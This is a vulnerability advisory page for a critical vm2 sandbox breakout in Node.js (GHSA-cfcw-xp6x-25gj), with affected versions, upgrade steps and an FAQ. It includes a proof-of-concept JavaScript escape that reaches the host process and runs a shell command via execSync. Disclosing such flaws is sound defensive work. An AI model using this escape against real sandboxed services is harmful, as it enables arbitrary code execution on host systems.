GHSA-cfcw-xp6x-25gj: Critical severity npm/vm2 vulnerability

Published Aug 17, 2026
·
Updated

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

js const {VM} = require("."); const vm = new VM(); console.log(vm.run( const getProto = Buffer.call.call(Buffer.call, {}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call(Buffer.call, {}.lookupSetter, Buffer, "proto");

async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); }

try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }

f(); ));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.5
3.11.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.6
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Patch GHSA-v6mx-mf47-r5wg
  3. Compensating control

    Harden the VM2 execution environment by isolating the runtime host (e.g., run the vulnerable service in a tightly isolated container/VM with no sensitive host access) to mitigate sandbox escape risks.

Event History

Aug 17, 2026
Advisory Published
via GitHub·05:32 PM
Data Sourced
via GitHub·05:32 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-cfcw-xp6x-25gj?

The severity of GHSA-cfcw-xp6x-25gj is critical with a CVSS score of 9.8.

2

How do I fix GHSA-cfcw-xp6x-25gj?

To fix GHSA-cfcw-xp6x-25gj, upgrade to the patched version of VM2, which is 3.11.6 or later.

3

What does GHSA-cfcw-xp6x-25gj vulnerability affect?

GHSA-cfcw-xp6x-25gj affects the VM2 package used in Node.js applications, allowing sandbox breakout.

4

What can attackers do with GHSA-cfcw-xp6x-25gj?

Attackers can exploit GHSA-cfcw-xp6x-25gj to execute arbitrary commands on the host system by escaping the VM2 sandbox.

5

When was GHSA-cfcw-xp6x-25gj published?

GHSA-cfcw-xp6x-25gj was published on August 17, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203